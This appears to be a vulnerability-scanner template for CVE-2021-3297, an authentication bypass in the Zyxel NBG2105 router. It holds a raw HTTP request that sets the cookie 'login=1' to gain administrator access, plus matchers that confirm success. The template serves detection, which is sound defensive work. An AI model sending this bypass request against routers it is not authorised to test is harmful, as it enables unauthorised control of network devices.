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id : CVE-2021-3297
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info :
name : Zyxel NBG2105 V1.00(AAGU.2)C0 - Authentication Bypass
author : gy741
severity : high
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description : Zyxel NBG2105 V1.00(AAGU.2)C0 devices are susceptible to authentication bypass vulnerabilities because setting the login cookie to 1 provides administrator access.
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reference :
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- https://github.com/nieldk/vulnerabilities/blob/main/zyxel%20nbg2105/Admin%20bypass
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- https://www.zyxel.com/us/en/support/security_advisories.shtml
- https://www.zyxel.com/support/SupportLandingSR.shtml?c=gb&l=en&kbid=M-01490&md=NBG2105
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- https://nvd.nist.gov/vuln/detail/CVE-2021-3297
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classification :
cvss-metrics : CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score : 7.8
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cve-id : CVE-2021-3297
cwe-id : CWE-287
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tags : cve,cve2021,zyxel,auth-bypass,router
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requests :
- raw :
- |
GET /status.htm HTTP/1.1
Host : {{Hostname}}
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Cookie : language=en; login=1
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matchers-condition : and
matchers :
- type : word
words :
- "Running Time"
- "Firmware Version"
- "Firmware Build Time"
condition : and
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- type : status
status :
- 200
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# Enhanced by mp on 2022/06/30